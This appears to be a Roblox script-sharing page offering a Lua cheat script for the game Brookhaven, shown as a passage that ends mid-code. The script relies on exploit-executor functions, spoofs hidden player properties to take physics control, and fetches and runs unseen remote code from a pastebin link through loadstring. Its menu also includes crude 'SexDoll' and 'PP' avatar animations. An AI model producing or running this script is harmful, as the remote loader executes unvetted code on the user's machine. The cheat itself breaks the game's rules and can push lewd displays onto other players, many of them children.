abobusnegr
Key Required

abobusnegr

Brookhaven 🏡RPa20821549a20821549 26K views 3 executesUpdated Nov 2, 2024
5.0/ 5(1 votes)
10100% Positive
Lua Script•10422 lines (419361 chars)
Required hats needed for HatHub "hand" script:
(Most hats are free but some cost Robux)
 
https://www.roblox.com/catalog/4855525473/Nagamaki
https://www.roblox.com/catalog/451220849/Lavender-Updo
https://www.roblox.com/catalog/376524487/Blonde-Spiked-Hair
https://www.roblox.com/catalog/63690008/Pal-Hair
https://www.roblox.com/catalog/62724852/Chestnut-Bun
https://www.roblox.com/catalog/62234425/Brown-Hair
https://www.roblox.com/catalog/48474313/Red-Roblox-Cap
https://www.roblox.com/catalog/48474294/ROBLOX-Girl-Hair
https://www.roblox.com/catalog/20372960/Bed-Hair
https://www.roblox.com/catalog/8337370/Blockhead-Baseball-Cap

Script:

-- // define alias for http function
 
local http_request = http_request;
if syn then
	http_request = syn.request
elseif SENTINEL_V2 then
	function http_request(tb)
		return {
			StatusCode = 200;
			Body = request(tb.Url, tb.Method, (tb.Body or ''))
		}
	end
end
 
if (not http_request) then
	return game:GetService('Players').LocalPlayer:Kick('Unable to find proper request function')
end
 
-- // define hash function
 
local hash; do
    local MOD = 2^32
    local MODM = MOD-1
    local bxor = bit32.bxor;
    local band = bit32.band;
    local bnot = bit32.bnot;
    local rshift1 = bit32.rshift;
    local rshift = bit32.rshift;
    local lshift = bit32.lshift;
    local rrotate = bit32.rrotate;
 
    local str_gsub = string.gsub;
    local str_fmt = string.format;
    local str_byte = string.byte;
    local str_char = string.char;
    local str_rep = string.rep;
 
    local k = {
	    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
	    0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
	    0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
	    0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
	    0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
	    0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
	    0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
	    0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
	    0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
	    0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
	    0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
	    0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
	    0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
	    0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
	    0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
	    0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2,
    }
    local function str2hexa(s)
        return (str_gsub(s, ".", function(c) return str_fmt("%02x", str_byte(c)) end))
    end
    local function num2s(l, n)
        local s = ""
        for i = 1, n do
            local rem = l % 256
            s = str_char(rem) .. s
            l = (l - rem) / 256
        end
        return s
    end
    local function s232num(s, i)
        local n = 0
        for i = i, i + 3 do n = n*256 + str_byte(s, i) end
        return n
        end
        local function preproc(msg, len)
        local extra = 64 - ((len + 9) % 64)
        len = num2s(8 * len, 8)
        msg = msg .. "\128" .. str_rep("\0", extra) .. len
        assert(#msg % 64 == 0)
        return msg
    end
    local function initH256(H)
        H[1] = 0x6a09e667
        H[2] = 0xbb67ae85
        H[3] = 0x3c6ef372
        H[4] = 0xa54ff53a
        H[5] = 0x510e527f
        H[6] = 0x9b05688c
        H[7] = 0x1f83d9ab
        H[8] = 0x5be0cd19
        return H
    end
    local function digestblock(msg, i, H)
        local w = {}
        for j = 1, 16 do w[j] = s232num(msg, i + (j - 1)*4) end
        for j = 17, 64 do
            local v = w[j - 15]
            local s0 = bxor(rrotate(v, 7), rrotate(v, 18), rshift(v, 3))
            v = w[j - 2]
            w[j] = w[j - 16] + s0 + w[j - 7] + bxor(rrotate(v, 17), rrotate(v, 19), rshift(v, 10))
        end
        local a, b, c, d, e, f, g, h = H[1], H[2], H[3], H[4], H[5], H[6], H[7], H[8]
        for i = 1, 64 do
            local s0 = bxor(rrotate(a, 2), rrotate(a, 13), rrotate(a, 22))
            local maj = bxor(band(a, b), band(a, c), band(b, c))
            local t2 = s0 + maj
            local s1 = bxor(rrotate(e, 6), rrotate(e, 11), rrotate(e, 25))
            local ch = bxor(band(e, f), band(bnot(e), g))
            local t1 = h + s1 + ch + k[i] + w[i]
            h, g, f, e, d, c, b, a = g, f, e, d + t1, c, b, a, t1 + t2
        end
        H[1] = band(H[1] + a)
        H[2] = band(H[2] + b)
        H[3] = band(H[3] + c)
        H[4] = band(H[4] + d)
        H[5] = band(H[5] + e)
        H[6] = band(H[6] + f)
        H[7] = band(H[7] + g)
        H[8] = band(H[8] + h)
    end
    function hash(msg, t) 
        msg = preproc(msg, #msg)
        local H = initH256({})
        for i = 1, #msg, 64 do digestblock(msg, i, H) end
        return str2hexa(num2s(H[1], 4) .. num2s(H[2], 4) .. num2s(H[3], 4) .. num2s(H[4], 4) .. num2s(H[5], 4) .. num2s(H[6], 4) .. num2s(H[7], 4) .. num2s(H[8], 4))
    end
end
 
 
 
 
local ScreenGui = Instance.new("ScreenGui")
local Main = Instance.new("Frame")
local Credits = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")
local TextLabel_3 = Instance.new("TextLabel")
local TextLabel_4 = Instance.new("TextLabel")
local Updates = Instance.new("Frame")
local TextLabel_5 = Instance.new("TextLabel")
local TextLabel_6 = Instance.new("TextLabel")
local TextLabel_7 = Instance.new("TextLabel")
local TextLabel_8 = Instance.new("TextLabel")
local TextLabel_9 = Instance.new("TextLabel")
local Scripts = Instance.new("ScrollingFrame")
local UIGridLayout = Instance.new("UIGridLayout")
local Hand = Instance.new("TextButton")
local SexDoll = Instance.new("TextButton")
local Naruto = Instance.new("TextButton")
local StrongStand = Instance.new("TextButton")
local NPC = Instance.new("TextButton")
local PP = Instance.new("TextButton")
local Plane = Instance.new("TextButton")
local Bike = Instance.new("TextButton")
local _911Plane = Instance.new("TextButton")
local _911 = Instance.new("TextButton")
local Car = Instance.new("TextButton")
local Shidashian = Instance.new("TextButton")
local Hoverboard = Instance.new("TextButton")
local Trashcan = Instance.new("TextButton")
local Fairy = Instance.new("TextButton")
local NoobDance = Instance.new("TextButton")
local Knight = Instance.new("TextButton")
local credits = Instance.new("TextButton")
local scripts = Instance.new("TextButton")
local updates = Instance.new("TextButton")
local Welcome = Instance.new("TextLabel")
local Hub = Instance.new("Frame")
local TextLabel_10 = Instance.new("TextLabel")
local TextLabel_11 = Instance.new("TextLabel")
 
--Properties:
 
ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
 
    loadstring(game:HttpGet("https://pastebin.com/raw/tUUGAeaH", true))()
 
spoof(game.Players.LocalPlayer, "MaximumSimulationRadius", 1000)
spoof(game.Players.LocalPlayer, "SimulationRadius", 1000)
sethiddenproperty(game.Players.LocalPlayer,"MaximumSimulationRadius",math.huge)
sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",1.0000000331814e+32)
 
local NetworkAccess = coroutine.create(function()
    settings().Physics.AllowSleep = false
    game:GetService("RunService").RenderStepped:Wait()
end)
spawn(function()
    while true do
        game:GetService("Players").LocalPlayer.ReplicationFocus = workspace
        game:GetService("RunService").Heartbeat:wait()
    end
end)
 
Main.Name = "Main"
Main.Parent = ScreenGui
Main.AnchorPoint = Vector2.new(1, 1)
Main.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
Main.BorderColor3 = Color3.fromRGB(255, 163, 26)
Main.Position = UDim2.new(1, 0, 1, 0)
Main.Size = UDim2.new(0, 325, 0, 223)
 
Credits.Name = "Credits"
Credits.Parent = Main
Credits.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.31099999, 0, 0.157000005, 0)
Credits.Size = UDim2.new(0, 216, 0, 181)
Credits.Visible = false
 
TextLabel.Parent = Credits
TextLabel.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 155, 0, 31)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.Text = "soda jerk#0650"
TextLabel.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
 
TextLabel_2.Parent = Credits
TextLabel_2.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_2.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Position = UDim2.new(0, 0, 0.171270713, 0)
TextLabel_2.Size = UDim2.new(0, 216, 0, 31)
TextLabel_2.Font = Enum.Font.SourceSansBold
TextLabel_2.Text = "*UI and scripts"
TextLabel_2.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_2.TextScaled = true
TextLabel_2.TextSize = 14.000
TextLabel_2.TextWrapped = true
 
TextLabel_3.Parent = Credits
TextLabel_3.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_3.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_3.BorderSizePixel = 0
TextLabel_3.Position = UDim2.new(-0.00925925933, 0, 0.364640892, 0)
TextLabel_3.Size = UDim2.new(0, 202, 0, 31)
TextLabel_3.Font = Enum.Font.SourceSansBold
TextLabel_3.Text = "LeitungBambus#1933"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_3.TextScaled = true
TextLabel_3.TextSize = 14.000
TextLabel_3.TextWrapped = true
 
TextLabel_4.Parent = Credits
TextLabel_4.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_4.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_4.BorderSizePixel = 0
TextLabel_4.Position = UDim2.new(-0.00925925933, 0, 0.53591162, 0)
TextLabel_4.Size = UDim2.new(0, 157, 0, 31)
TextLabel_4.Font = Enum.Font.SourceSansBold
TextLabel_4.Text = "*Scripts"
TextLabel_4.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_4.TextScaled = true
TextLabel_4.TextSize = 14.000
TextLabel_4.TextWrapped = true
 
Updates.Name = "Updates"
Updates.Parent = Main
Updates.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
Updates.BorderSizePixel = 0
Updates.Position = UDim2.new(0.31099999, 0, 0.157000005, 0)
Updates.Size = UDim2.new(0, 216, 0, 181)
 
TextLabel_5.Parent = Updates
TextLabel_5.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_5.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_5.BorderSizePixel = 0
TextLabel_5.Position = UDim2.new(-0.115740731, 0, 0, 0)
TextLabel_5.Size = UDim2.new(0, 155, 0, 31)
TextLabel_5.Font = Enum.Font.SourceSansBold
TextLabel_5.Text = "8/26/2020"
TextLabel_5.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_5.TextScaled = true
TextLabel_5.TextSize = 14.000
TextLabel_5.TextWrapped = true
 
TextLabel_6.Parent = Updates
TextLabel_6.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_6.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_6.BorderSizePixel = 0
TextLabel_6.Position = UDim2.new(-0.00087723881, 0, 0.171270713, 0)
TextLabel_6.Size = UDim2.new(0, 131, 0, 31)
TextLabel_6.Font = Enum.Font.SourceSansBold
TextLabel_6.Text = "*4 NEW Scripts"
TextLabel_6.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_6.TextScaled = true
TextLabel_6.TextSize = 14.000
TextLabel_6.TextWrapped = true
 
TextLabel_7.Parent = Updates
TextLabel_7.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_7.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_7.BorderSizePixel = 0
TextLabel_7.Position = UDim2.new(-0.0740740746, 0, 0.828729272, 0)
TextLabel_7.Size = UDim2.new(0, 223, 0, 31)
TextLabel_7.Font = Enum.Font.SourceSansBold
TextLabel_7.Text = "*LeftAlt to open/close UI"
TextLabel_7.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_7.TextScaled = true
TextLabel_7.TextSize = 14.000
TextLabel_7.TextWrapped = true
 
TextLabel_8.Parent = Updates
TextLabel_8.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_8.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_8.BorderSizePixel = 0
TextLabel_8.Position = UDim2.new(0.0593080893, 0, 0.502762437, 0)
TextLabel_8.Size = UDim2.new(0, 190, 0, 32)
TextLabel_8.Font = Enum.Font.SourceSansBold
TextLabel_8.Text = "*Removed Bakon stand"
TextLabel_8.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_8.TextScaled = true
TextLabel_8.TextSize = 14.000
TextLabel_8.TextWrapped = true
 
TextLabel_9.Parent = Updates
TextLabel_9.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_9.BorderColor3 = Color3.fromRGB(27, 42, 53)
TextLabel_9.BorderSizePixel = 0
TextLabel_9.Position = UDim2.new(0.00375253335, 0, 0.331491709, 0)
TextLabel_9.Size = UDim2.new(0, 207, 0, 31)
TextLabel_9.Font = Enum.Font.SourceSansBold
TextLabel_9.Text = "*Updated Hand and Bike"
TextLabel_9.TextColor3 = Color3.fromRGB(255, 163, 26)
TextLabel_9.TextScaled = true
TextLabel_9.TextSize = 14.000
TextLabel_9.TextWrapped = true
 
Scripts.Name = "Scripts"
Scripts.Parent = Main
Scripts.Active = true
Scripts.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
Scripts.BorderColor3 = Color3.fromRGB(27, 27, 27)
Scripts.BorderSizePixel = 0
Scripts.Position = UDim2.new(0.31076926, 0, 0.156950712, 0)
Scripts.Size = UDim2.new(0, 216, 0, 181)
Scripts.Visible = false
Scripts.CanvasSize = UDim2.new(0, 0, 3, 0)
Scripts.ScrollBarThickness = 5
 
UIGridLayout.Parent = Scripts
UIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIGridLayout.CellSize = UDim2.new(0, 100, 0, 32)
 
Hand.Name = "Hand"
Hand.Parent = Scripts
Hand.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Hand.BorderColor3 = Color3.fromRGB(27, 42, 53)
Hand.BorderSizePixel = 0
Hand.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Hand.Size = UDim2.new(0, 85, 0, 32)
Hand.Font = Enum.Font.SourceSansItalic
Hand.Text = "Hand"
Hand.TextColor3 = Color3.fromRGB(0, 0, 0)
Hand.TextSize = 30.000
Hand.TextWrapped = true
Hand.MouseButton1Down:connect(function()
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
 
local Hats = {palm   = Character:WaitForChild("Nagamaki"),
             point1   = Character:WaitForChild("Robloxclassicred"),
             point2   = Character:WaitForChild("Pal Hair"),
             middle1   = Character:WaitForChild("Pink Hair"),
             middle2   = Character:WaitForChild("Hat1"),
             ring1   = Character:WaitForChild("Kate Hair"),
             ring2   = Character:WaitForChild("LavanderHair"),
             pinki1   = Character:WaitForChild("Bedhead"),
             pinki2   = Character:WaitForChild("BlockheadBaseballCap"),
             thumb   = Character:WaitForChild("MessyHair"),
}
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 65
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = false
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
align(Hats.palm.Handle, Character["HumanoidRootPart"])
align(Hats.point1.Handle, Character["HumanoidRootPart"])
align(Hats.point2.Handle, Character["HumanoidRootPart"])
align(Hats.middle1.Handle, Character["HumanoidRootPart"])
align(Hats.middle2.Handle, Character["HumanoidRootPart"])
align(Hats.ring1.Handle, Character["HumanoidRootPart"])
align(Hats.ring2.Handle, Character["HumanoidRootPart"])
align(Hats.pinki1.Handle, Character["HumanoidRootPart"])
align(Hats.pinki2.Handle, Character["HumanoidRootPart"])
align(Hats.thumb.Handle, Character["HumanoidRootPart"])
 
Hats.palm.Handle.Attachment.Rotation = Vector3.new(50,0,0)
Hats.point1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
Hats.point2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
Hats.middle2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
Hats.ring2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,30,0)
 
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment4"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment5"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment6"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment7"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment8"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment9"
Character:WaitForChild("HumanoidRootPart"):FindFirstChild("Attachment").Name = "Attachment10"
 
Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,5,5)
Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,6.2,3.12)
Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2,6.4,1.4)
Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.6,6.2,3.12)
Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.6,6.4,1.4)
Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.7,6.2,3.12)
Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.7,6.4,1.4)
Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,6.2,3.12)
Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,6.4,1.4)
Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3,4.5,4.7)
 
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "z" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(-5,3,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-7,4,1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-7,3.5,2)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-5.7,4,1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-5.7,3.5,2)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-4.4,5.5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-4.4,6.8,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-3,4,1)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-3,3.5,2)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-2.1,2.6,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,90,-40)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(-5,3,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-7,4,1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-7,3.5,2)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-5.7,4,1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-5.7,3.5,2)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-4.4,5.2,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-5.06,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-2.9,5.3,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-2.6,7,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-3.23,2,1)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,-20)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,-20)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,10)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,10)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,200,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "q" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,5,5)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,6.2,3.12)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2,6.4,1.4)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.6,6.2,3.12)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.6,6.4,1.4)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.7,6.2,3.12)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.7,6.4,1.4)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,6.2,3.12)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,6.4,1.4)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3,4.5,4.7)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(50,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(-20,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(5,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,30,0)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,3.6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,4.6,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2,4.1,-2)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.7,4.6,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.7,4.1,-2)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.6,4.6,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.6,4.1,-2)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,6.4,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3.3,2.6,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(-270,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,90,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "x" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,4,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(2,4,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1,4,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-2,7.5,-0.38)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-2,6.3,-0.15)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0,7.5,-1.03)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0,6.1,-0.38)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,4.5,-2)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,5,-1)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(2,3,-1)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-80,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-80,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-65,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(-65,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,4,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(6,4,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(5,4,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-2,7.5,-0.38)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-2,6.3,-0.15)
